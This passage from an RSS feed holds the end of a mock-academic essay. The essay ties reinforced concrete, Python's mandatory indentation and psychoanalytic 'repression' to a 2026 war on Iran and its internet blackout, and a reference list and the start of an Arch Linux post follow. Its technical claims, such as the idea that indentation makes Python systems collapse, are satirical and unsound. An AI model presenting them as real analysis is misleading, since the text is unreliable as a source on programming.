&lt;td&gt;&lt;strong&gt;拉康 (Lacan)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;符号界律法、大他者、倒错&lt;/td&gt;
&lt;td&gt;编译器/解释器作为不容置疑的绝对权威&lt;/td&gt;
&lt;td&gt;对代码格式的恋物癖式迷恋，从服从语法规则中榨取快感&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;齐泽克 (Žižek)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;意识形态幻象、力比多经济学&lt;/td&gt;
&lt;td&gt;“Pythonic”作为唯一正确的政治正确编码信条&lt;/td&gt;
&lt;td&gt;将结构性束缚内化为主观认同，对异端语法的排斥&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;德勒兹 (Deleuze)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;欲望机器、辖域化与解辖域化&lt;/td&gt;
&lt;td&gt;强制缩进阻断了非线性的、游牧式的逻辑连接&lt;/td&gt;
&lt;td&gt;程序员异化为资本主义软件生产流水线上的标准化组件&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;strong&gt;第四部分：理论的震荡与重构——伊朗局势对相似性研究的冲击效应&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;将时间线拉回2026年3月那片硝烟弥漫的中东大地。伊朗危机的爆发，不仅是对全球地缘政治格局的重置，更是为我们本文所探讨的“物理刚性-代码语法-精神压抑”三位一体的理论模型提供了一个震撼的实证反演。当压抑达到极致，当结构被施加远远超出其设计阈值的动态压力时，系统究竟会发生什么？&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;4.1 刚性解体的哲学启示：从地下掩体到代码重构&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;“史诗狂怒”行动中以色列空军与美国武库对伊朗四大弹道导弹基地的精确摧毁，彻底打破了“高标号钢筋混凝土不可战胜”的国防工程神话 3。这为六号钢筋混凝土与Python强制缩进的相似性理论带来了第一波理论冲击：即&lt;strong&gt;绝对的刚性等同于绝对的脆弱性&lt;/strong&gt;。&lt;br /&gt;
在力学上，混凝土结构为了追求极致的抗压能力，牺牲了系统的韧性与弹性。当美军钻地弹丸携带着巨大的动能侵彻基地的外壳时，刚性结构无法通过形变来耗散能量，最终导致整个山体与地下管网的连锁崩解。&lt;br /&gt;
将这一现象投射到Python等具有强制拓扑结构的软件系统中，我们可以得出深刻的警示。在面对现代复杂多变的网络环境和难以预测的运行时边缘数据（Edge cases）时，过度强调结构规整且耦合紧密的超大型Python项目，往往表现出极差的抗打击能力。由于缺乏如Lisp般可以通过元编程在运行时动态重组语法树（AST）的能力 36，一旦某个深层模块因为类型异常（动态类型的缺陷）或第三方接口的微小变动而崩溃，整个系统将如同被钻地弹击中的混凝土掩体一样，由于强制缩进带来的紧密绑定效应，引发不可逆转的雪崩式故障。因此，单纯追求外观整齐和结构锁死的编程范式，在面对赛博战和极速迭代的业务需求时，已经显得力不从心。&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;4.2 国家机器作为宏观编译器：NIN的语法压迫与社会力比多的反扑&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;在物理基地被摧毁的废墟上，伊朗政权试图通过加强国家信息网络（NIN）来进行数字层面的绝地反击 4。正如前文所述，NIN通过切断国际出入口，将互联网流量硬生生地“缩进”到国内网络控制流的区块之中。对于普通民众而言，使用被屏蔽的WhatsApp或访问海外新闻网站，就如同在严格的Python代码中键入了一个不被允许的制表符（Tab），会立刻遭到系统（防火墙或网络警察）的拦截与抹杀 13。&lt;br /&gt;
这种将整个国家的通信基建转化为一个巨型编译器的行为，将社会成员的“性”压抑（即自由交流、信息获取的力比多冲动）推向了临界点。长达数十年的神权政治统治，原本已经通过道德警察、着装规范和政治审查，对民众实施了深刻的生命政治控制 4。2026年战争期间，这种压抑通过极端的断网政策被推演至极权主义的巅峰。&lt;br /&gt;
然而，弗洛伊德精神分析的铁律告诉我们：被压抑之物必将复归（The Return of the Repressed）。社会力比多是无法被区区几组防火墙规则和路由黑洞所彻底消灭的。在此次冲突中，这种复归表现为一种猛烈而极具破坏性的反向宣泄。&lt;br /&gt;
&lt;strong&gt;反抗的拓扑学与逃逸线：&lt;/strong&gt;&lt;br /&gt;
面对NIN构筑的数字钢筋混凝土墙，伊朗内外的数字游击队展现出了惊人的破坏力与创造力。被压抑的欲望机器开始运作，寻找系统的漏洞与逃逸线：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;走私与卫星网络&lt;/strong&gt;：海外侨民与美国特朗普政府秘密向伊朗境内走私了数千台Starlink（星链）终端 13。这些终端直接绕过了地面的物理光缆与BGP路由控制，直接与太空卫星通信，宛如在Python的强制块结构之外，凭空建立了一条异步的、不受主线程约束的通信通道。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;地下代理与规避软件&lt;/strong&gt;：约40万海外伊朗人利用Psiphon等加密代理协议共享带宽，帮助国内民众突破封锁 13。这在编程理论中，类似于通过深度操作系统的钩子（Hooks）或猴子补丁（Monkey Patching），强行在运行时修改程序的行为路线，从内部瓦解编译器的规则。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;认知域的系统反噬（黑客攻击）&lt;/strong&gt;：更具戏剧性的是，由于系统本身的闭塞导致的脆弱性，政权引以为傲的内部应用反而成为了反抗者的武器。拥有超过3000万安装量的国民级祈祷时间追踪应用BadeSaba被黑客攻破，并在用户的屏幕上弹出劝降与反极权信息 45。同时，伊朗国家电视台的卫星信号也被黑客成功劫持，播出了流亡王储礼萨·巴列维的讲话 13。这种攻击类似于软件工程中的代码注入攻击（Code Injection），外部恶意的、未经验证的“类型”强行涌入了受保护的内存区块，让原本用于规训的机器转过头来向其创造者开火。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在这一刻，无论是物理的六号钢筋混凝土，还是逻辑上的NIN网络架构，亦或是象征着绝对结构规训的Python强制缩进，都在社会力比多与外部动能的双重夹击下轰然倒塌。民众在街头的狂欢（甚至是对美军空袭的暗中庆祝）以及网络空间中无处不在的抗争代码，是对长达数十年的政治与程序性“性”压抑的最彻底的解放与报复 29。&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;第五部分：走向解构主义的新范式：破除结构与解放欲望&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;2026年的伊朗危机不仅仅是一场改变中东格局的地缘政治地震，它更是一场具有深远认识论意义的哲学风暴。通过将军事行动的物质性破坏与网络空间的数字对抗，引入对六号钢筋混凝土与Python语言相似性理论的考察，我们得出了一个具有颠覆性的结论：&lt;strong&gt;试图通过无限增加结构的刚性（无论是物理的、语法的还是政治的）来实现系统的永恒稳定，是一种注定要失败的虚妄幻觉。&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;5.1 从结构主义向后结构主义的跨越&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;当代程序的“性”压抑，根源于技术发展早期对确定性与可控性的过度迷恋。无论是早期计算科学中追求完美逻辑推演的雄心，还是后来如Python等语言通过强制排版来消除人类思维差异性（消除代码中的混乱与个性）的努力，其本质都带有强烈的现代性结构主义（Structuralism）色彩 23。&lt;br /&gt;
然而，当下的世界（正如战争中的伊朗所展示的那个充满赛博攻击、星链走私、民众抗议与导弹横飞的混沌系统）已经彻底进入了后现代的复杂性状态。在这样的环境中，系统的生存能力不再取决于其抵御变形的刚度，而在于其适应混乱、包容变异的柔性。&lt;br /&gt;
这就要求我们在哲学层面实现向后结构主义（Post-structuralism）的跨越。后结构主义挑战一切试图将世界划分为整齐、同质化区块的宏大叙事 23。在编程领域，这意味着我们应当反思甚至解构对“格式化工具”、“严格缩进”与“单一最佳实践”的盲目崇拜。我们要承认程序代码不仅是机器可执行的指令，更是人类欲望与文化实践的流动场域。&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;5.2 呼唤力比多的解放与“变态”代码的美学&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;在对技术生态的未来展望中，我们必须为那些被编译器和“最佳实践”所驱逐和压抑的力比多能量寻找合法的出口。在社会学与酷儿理论中，“变态”（Deviance）或越轨，已经不再是一个贬义的病理学词汇，而是指涉那些挑战主流霸权、展现主体性抗争力量的批判性范畴 48。&lt;br /&gt;
将这一批判性引入软件架构理论，我们呼唤一种拥抱“变态”与混沌的新型编程范式。未来的系统设计，应当超越六号钢筋混凝土那种宁折不弯的悲剧命运，转向类似于生物神经元网络或去中心化网状网络（Mesh networks）的流变结构。在这种结构中，代码的“性”压抑被解除，程序员不再是大他者（编译器）的奴隶，而是真正的“欲望机器”的驾驭者。&lt;br /&gt;
诸如利用量子纠缠（Quantum entanglement）原理的新一代量子计算范式 49，或者是允许高度宏展开、自我修改与动态演化的元编程语言（如更高级的Lisp方言或基于大型语言模型的自适应生成代码体系）36，将彻底粉碎现有的语法桎梏。在这些新架构中，逻辑不再受限于二维屏幕上的空格数量，而是可以在多维的高维度张量空间中自由流淌。这不仅是对计算机科学的一次技术升级，更是人类在对抗技术理性异化过程中的一次重大精神解放。&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;结论&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;本报告在《S.H.I.T Journal》所代表的前卫学术探索精神指引下，进行了一场横跨材料工程、计算机科学、地缘政治与精神分析的宏大理论推演。&lt;br /&gt;
研究表明，作为物理防御极致的六号钢筋混凝土，与作为语法规训极致的Python强制缩进机制之间，存在着深刻的结构主义相似性。这两种刚性边界通过确立绝对的空间与逻辑秩序，在微观层面上压制了系统的内在变异可能，导致了当代程序员（作为力比多主体）严重的“性”压抑与欲望异化；而在宏观层面上，这种规训逻辑被放大并运用到了国家治理之中，其终极表现便是伊朗极权政府打造的、旨在阻断一切自由信息的国家信息网络（NIN）数字铁幕 4。&lt;br /&gt;
然而，2026年2月美国与以色列的联合打击及其引发的连带效应，彻底动摇了这一刚性控制模型。物理维度的钻地弹击碎了最坚硬的混凝土掩体 9，证明了失去柔性的刚性防御在现代多域饱和打击下面临着粉碎性的脆性崩溃风险；而在数字与社会心理维度，民众对NIN的规避行动（如使用星链、代理网络）以及黑客对官方基础设施的反向渗透（如劫持BadeSaba应用）13，无可辩驳地印证了精神分析学的真理——被极度压抑的社会与个体力比多，终将化作摧毁一切现有结构的革命性洪流。&lt;br /&gt;
当下伊朗局势为相似性理论研究留下的最重要遗产在于：它揭示了当代程序与建筑的“压抑本性”必然导致其自身的毁灭。在这个充满不确定性的复杂时代，试图通过加固边界、统一思想、规范代码格式来维持系统稳定的努力，注定只会走向“认知墓地”的死局。唯有打破结构主义的神话，正视并释放被禁锢的欲望力量，拥抱流动、多元与自适应的后结构主义技术范式，我们才能在坍塌的混凝土与被废弃的封闭代码废墟之上，重构出真正具备强韧生命力的人类数字文明。&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;引用的著作&lt;/strong&gt;&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Operation Epic Fury and the Remnants of Iran’s Nuclear Program, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.csis.org/analysis/operation-epic-fury-and-remnants-irans-nuclear-program&quot;&gt;https://www.csis.org/analysis/operation-epic-fury-and-remnants-irans-nuclear-program&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Israel&apos;s ‘Roaring Lion’: Military Target to Political Decision in Iran, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.rusi.org/explore-our-research/publications/commentary/israels-roaring-lion-military-target-political-decision-iran&quot;&gt;https://www.rusi.org/explore-our-research/publications/commentary/israels-roaring-lion-military-target-political-decision-iran&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Details on four of Iran&apos;s largest ballistic missile bases hit by US-IDF airstrikes in the first 48 hours of Operation Roaring Lion, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://israel-alma.org/details-on-four-of-irans-largest-ballistic-missile-bases-hit-by-us-idf-airstrikes-in-the-first-48-hours-of-operation-roaring-lion/&quot;&gt;https://israel-alma.org/details-on-four-of-irans-largest-ballistic-missile-bases-hit-by-us-idf-airstrikes-in-the-first-48-hours-of-operation-roaring-lion/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The Cognitive Necropolis:. Biopower and Biopolitics to serve a… | by Amir Noferesti | Jan, 2026 | Medium, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://medium.com/@a.h.noferesti/the-cognitive-necropolis-7b1827955c01&quot;&gt;https://medium.com/@a.h.noferesti/the-cognitive-necropolis-7b1827955c01&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Desiring Machines in the Age of Biocapitalism - NEWS JUNKIE POST, 访问时间为 三月 5, 2026， &lt;a href=&quot;http://newsjunkiepost.com/2020/02/06/desiring-machines-in-the-age-of-biocapitalism/&quot;&gt;http://newsjunkiepost.com/2020/02/06/desiring-machines-in-the-age-of-biocapitalism/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The Pervert&apos;s Guide to Computer Programming Languages - Amazon S3, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://s3-us-west-2.amazonaws.com/vulk-blog/ThePervertsGuidetoComputerProgramming-ThePaper.pdf&quot;&gt;https://s3-us-west-2.amazonaws.com/vulk-blog/ThePervertsGuidetoComputerProgramming-ThePaper.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;U.S. Forces Launch Operation Epic Fury - centcom, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.centcom.mil/MEDIA/PRESS-RELEASES/Press-Release-View/Article/4418396/us-forces-launch-operation-epic-fury/&quot;&gt;https://www.centcom.mil/MEDIA/PRESS-RELEASES/Press-Release-View/Article/4418396/us-forces-launch-operation-epic-fury/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Hegseth Says &apos;Epic Fury&apos; Goals in Iran Are &apos;Laser-Focused&apos; - War.gov, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.war.gov/News/News-Stories/Article/Article/4418826/hegseth-says-epic-fury-goals-in-iran-are-laser-focused/&quot;&gt;https://www.war.gov/News/News-Stories/Article/Article/4418826/hegseth-says-epic-fury-goals-in-iran-are-laser-focused/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;OPERATION EPIC FURY / ROARING LION, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://defense-update.com/20260303_epic-fury.html&quot;&gt;https://defense-update.com/20260303_epic-fury.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Operation Roaring Lion: IDF unveils dramatic footage of first-ever strike in &apos;heart of Tehran&apos; — watch, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://timesofindia.indiatimes.com/defence/international/operation-roaring-lion-idf-unveils-dramatic-footage-of-first-ever-strike-in-heart-of-tehran-watch/articleshow/128912234.cms&quot;&gt;https://timesofindia.indiatimes.com/defence/international/operation-roaring-lion-idf-unveils-dramatic-footage-of-first-ever-strike-in-heart-of-tehran-watch/articleshow/128912234.cms&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Siemann - Numerical and Experimental Investigation of the Structural Behavior during Aircraft Emergency Landing on Water (2016), 访问时间为 三月 5, 2026， &lt;a href=&quot;https://elib.dlr.de/109791/1/2016_siemann_dissertation_print.pdf&quot;&gt;https://elib.dlr.de/109791/1/2016_siemann_dissertation_print.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Operation Roaring Lion: Strategic Depth in Action - IAI, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.iai.co.il/news/operation-roaring-lion-strategic-depth-in-action/&quot;&gt;https://www.iai.co.il/news/operation-roaring-lion-strategic-depth-in-action/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2026 Internet blackout in Iran - Wikipedia, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://en.wikipedia.org/wiki/2026_Internet_blackout_in_Iran&quot;&gt;https://en.wikipedia.org/wiki/2026_Internet_blackout_in_Iran&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Iran’s Latest Internet Blackout Extends to Phones and Starlink, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.gatech.edu/news/2026/01/16/irans-latest-internet-blackout-extends-phones-and-starlink&quot;&gt;https://www.gatech.edu/news/2026/01/16/irans-latest-internet-blackout-extends-phones-and-starlink&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;US Says Cyber Operations Underpinned Assault on Iran, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.govinfosecurity.com/us-says-cyber-operations-underpinned-assault-on-iran-a-30908&quot;&gt;https://www.govinfosecurity.com/us-says-cyber-operations-underpinned-assault-on-iran-a-30908&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Iran&apos;s Case Should Put an End to Illusions About Digital Sovereignty | TechPolicy.Press, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.techpolicy.press/irans-case-should-put-an-end-to-illusions-about-digital-sovereignty/&quot;&gt;https://www.techpolicy.press/irans-case-should-put-an-end-to-illusions-about-digital-sovereignty/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;IRAN&apos;S DIGITAL FORTRESS: THE RISE OF THE NATIONAL INFORMATION NETWORK - American Foreign Policy Council, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.afpc.org/uploads/documents/Iran_Strategy_Brief_No._16_-_August_2025.pdf&quot;&gt;https://www.afpc.org/uploads/documents/Iran_Strategy_Brief_No._16_-_August_2025.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Digital Iran Reloaded: Gamer Mitigation Tactics of IRI Information Controls - arXiv.org, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://arxiv.org/pdf/2509.09063&quot;&gt;https://arxiv.org/pdf/2509.09063&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;From .com to .gov: The internet&apos;s inevitable nationalist turn | Internet Policy Review, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://policyreview.info/articles/analysis/internets-inevitable-nationalist-turn&quot;&gt;https://policyreview.info/articles/analysis/internets-inevitable-nationalist-turn&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Internet blackout is tool of desperate regime to isolate Iranians, say experts, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.theguardian.com/world/2026/mar/02/internet-blackout-regime-iranians-experts-digital-censorship&quot;&gt;https://www.theguardian.com/world/2026/mar/02/internet-blackout-regime-iranians-experts-digital-censorship&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Studies on learnability of braces vs. indentation for code blocks for beginners?, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://langdev.stackexchange.com/questions/3252/studies-on-learnability-of-braces-vs-indentation-for-code-blocks-for-beginners&quot;&gt;https://langdev.stackexchange.com/questions/3252/studies-on-learnability-of-braces-vs-indentation-for-code-blocks-for-beginners&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Indentation style - Wikipedia, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://en.wikipedia.org/wiki/Indentation_style&quot;&gt;https://en.wikipedia.org/wiki/Indentation_style&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Human-Centered Programming Languages - More Instructor Materials - Bookish, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://bookish.press/hcpl/print&quot;&gt;https://bookish.press/hcpl/print&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;You Need To Know Compiled/Interpreted, Static/Dynamic, and Strong/Weak Typing - Dev.to, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://dev.to/rahulbanerjee99/you-need-to-know-compiled-interpreted-static-dynamic-and-strong-weak-typing-lg1&quot;&gt;https://dev.to/rahulbanerjee99/you-need-to-know-compiled-interpreted-static-dynamic-and-strong-weak-typing-lg1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The Art of Coding - Colab, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://colab.research.google.com/drive/1zM9aM6d9R_MYg9pO9IBZYbZ923WNnry0?usp=sharing&quot;&gt;https://colab.research.google.com/drive/1zM9aM6d9R_MYg9pO9IBZYbZ923WNnry0?usp=sharing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;In praise of mandatory indentation for novice programmers, 访问时间为 三月 5, 2026， &lt;a href=&quot;http://okasaki.blogspot.com/2008/02/in-praise-of-mandatory-indentation-for.html&quot;&gt;http://okasaki.blogspot.com/2008/02/in-praise-of-mandatory-indentation-for.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;What is it like to write a large project in a dynamically-typed language? - Reddit, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.reddit.com/r/ProgrammingLanguages/comments/r6nq30/what_is_it_like_to_write_a_large_project_in_a/&quot;&gt;https://www.reddit.com/r/ProgrammingLanguages/comments/r6nq30/what_is_it_like_to_write_a_large_project_in_a/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Generally, statically typed languages are less bug prone than dynamically typed ... | Hacker News, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://news.ycombinator.com/item?id=7890633&quot;&gt;https://news.ycombinator.com/item?id=7890633&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Epic Fury and Roaring Lion: From War Scenarios to Pressing Postwar Questions in Iran, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.washingtoninstitute.org/policy-analysis/epic-fury-and-roaring-lion-war-scenarios-pressing-postwar-questions-iran&quot;&gt;https://www.washingtoninstitute.org/policy-analysis/epic-fury-and-roaring-lion-war-scenarios-pressing-postwar-questions-iran&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Iran&apos;s Protests and the Internet Blackout That Followed | Council on Foreign Relations, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.cfr.org/articles/irans-protests-and-internet-blackout-followed&quot;&gt;https://www.cfr.org/articles/irans-protests-and-internet-blackout-followed&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Transgressing Sexuality: An Interdisciplinary Study of Economic History, Anthropology, and Queer Theory - PDXScholar, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://pdxscholar.library.pdx.edu/cgi/viewcontent.cgi?article=1621&amp;amp;context=open_access_etds&quot;&gt;https://pdxscholar.library.pdx.edu/cgi/viewcontent.cgi?article=1621&amp;amp;context=open_access_etds&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Psychotherapies - Neupsy Key, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://neupsykey.com/psychotherapies-3/&quot;&gt;https://neupsykey.com/psychotherapies-3/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The Philosophy of Ted Kaczynski - The Ted K Archive, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.thetedkarchive.com/library/chad-a-haag-the-philosophy-of-ted-kaczynski&quot;&gt;https://www.thetedkarchive.com/library/chad-a-haag-the-philosophy-of-ted-kaczynski&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Cybersex, Bodies, and Domination: An Immanent Critique of Cyber-technology and the Possibility of Emancipation - Academia.edu, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.academia.edu/30194248/Cybersex_Bodies_and_Domination_An_Immanent_Critique_of_Cyber_technology_and_the_Possibility_of_Emancipation&quot;&gt;https://www.academia.edu/30194248/Cybersex_Bodies_and_Domination_An_Immanent_Critique_of_Cyber_technology_and_the_Possibility_of_Emancipation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The pathological aesthetics of design: examining repression and perverse representation in contemporary visual culture from the perspective of psychoanalytic theory - Frontiers, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.frontiersin.org/journals/communication/articles/10.3389/fcomm.2025.1549859/full&quot;&gt;https://www.frontiersin.org/journals/communication/articles/10.3389/fcomm.2025.1549859/full&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&quot;Code as Data&quot; Beginner Oriented : r/Clojure - Reddit, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.reddit.com/r/Clojure/comments/g5ysyn/code_as_data_beginner_oriented/&quot;&gt;https://www.reddit.com/r/Clojure/comments/g5ysyn/code_as_data_beginner_oriented/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Death drive and revolution : r/lacan - Reddit, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.reddit.com/r/lacan/comments/r0rqk9/death_drive_and_revolution/&quot;&gt;https://www.reddit.com/r/lacan/comments/r0rqk9/death_drive_and_revolution/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Platformativity of Desire: Affective Labor, Libidinal Economy, and Prosumer Fantasy in Chinese Entertainment Live-Streaming - MDPI, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.mdpi.com/2076-0787/15/2/21&quot;&gt;https://www.mdpi.com/2076-0787/15/2/21&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;IN DEFENSE OF LOST CAUSES - Eli Meyerhoff, 访问时间为 三月 5, 2026， &lt;a href=&quot;http://www.elimeyerhoff.com/books/Zizek/Zizek%20-%20In%20Defense%20of%20Lost%20Causes.pdf&quot;&gt;http://www.elimeyerhoff.com/books/Zizek/Zizek%20-%20In%20Defense%20of%20Lost%20Causes.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Python and Indentation. Why? :) : r/learnpython - Reddit, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.reddit.com/r/learnpython/comments/znyifu/python_and_indentation_why/&quot;&gt;https://www.reddit.com/r/learnpython/comments/znyifu/python_and_indentation_why/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Commentary on D&amp;amp;G&apos;s Anti-Oedipus (Chapter 1.2: The Body without Organs), 访问时间为 三月 5, 2026， &lt;a href=&quot;https://thedangerousmaybe.medium.com/commentary-on-d-gs-anti-oedipus-chapter-1-2-the-body-without-organs-490738377a9c&quot;&gt;https://thedangerousmaybe.medium.com/commentary-on-d-gs-anti-oedipus-chapter-1-2-the-body-without-organs-490738377a9c&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Immersion As &apos; Social Machines&apos; - Matthew Lombard, 访问时间为 三月 5, 2026， &lt;a href=&quot;http://matthewlombard.com/ISPR/Proceedings/ICA2003/Araujo.htm&quot;&gt;http://matthewlombard.com/ISPR/Proceedings/ICA2003/Araujo.htm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Operation Roaring Lion: Israel&apos;s Decisive Blow to Iran&apos;s Military Machine - The Blogs, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://blogs.timesofisrael.com/operation-roaring-lion-israels-decisive-blow-to-irans-military-machine/&quot;&gt;https://blogs.timesofisrael.com/operation-roaring-lion-israels-decisive-blow-to-irans-military-machine/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Iran&apos;s internet shutdown signals a new stage of digital isolation | Chatham House, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.chathamhouse.org/2026/01/irans-internet-shutdown-signals-new-stage-digital-isolation&quot;&gt;https://www.chathamhouse.org/2026/01/irans-internet-shutdown-signals-new-stage-digital-isolation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;How Will Cyber Warfare Shape the U.S.-Israel Conflict with Iran?, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.csis.org/analysis/how-will-cyber-warfare-shape-us-israel-conflict-iran&quot;&gt;https://www.csis.org/analysis/how-will-cyber-warfare-shape-us-israel-conflict-iran&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Cyber Warfare in the US-Israel vs Iran Conflict (Roaring Lion &amp;amp; Epic Fury), 访问时间为 三月 5, 2026， &lt;a href=&quot;https://zendata.security/2026/03/02/cyber-warfare-in-the-us-israel-vs-iran-conflict-roaring-lion-epic-fury/&quot;&gt;https://zendata.security/2026/03/02/cyber-warfare-in-the-us-israel-vs-iran-conflict-roaring-lion-epic-fury/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Hermeneutic practices in software development: the case of Ada and Python, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://scholar.lib.vt.edu/ejournals/SPT/v13n1/pdf/binzberger.pdf&quot;&gt;https://scholar.lib.vt.edu/ejournals/SPT/v13n1/pdf/binzberger.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;UC Santa Cruz - eScholarship.org, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://escholarship.org/content/qt4nc8d1pm/qt4nc8d1pm.pdf&quot;&gt;https://escholarship.org/content/qt4nc8d1pm/qt4nc8d1pm.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The Line First Chapters Preprint Draft - | The Public Domain |, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.thepublicdomain.org/wp-content/uploads/2024/01/The-Line-First-Chapters-Preprint-Draft.pdf&quot;&gt;https://www.thepublicdomain.org/wp-content/uploads/2024/01/The-Line-First-Chapters-Preprint-Draft.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;James Boyle: AI, Consciousness, Personhood - The Montreal Review, 访问时间为 三月 5, 2026， &lt;a href=&quot;https://www.themontrealreview.com/Articles/AI_Personhood.php&quot;&gt;https://www.themontrealreview.com/Articles/AI_Personhood.php&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>Arch Linux 安装🧀</title><link>https://blog.fiveqm.com/archives/arch-installed/</link><guid isPermaLink="true">https://blog.fiveqm.com/archives/arch-installed/</guid><description>也是用了半年的Arch Linux 总结一下我的安装姿势</description><pubDate>Sun, 08 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;:::tip
本文部分参考&lt;a href=&quot;https://arch.icekylin.online/&quot;&gt;archlinux 简明指南&lt;/a&gt;
:::&lt;/p&gt;
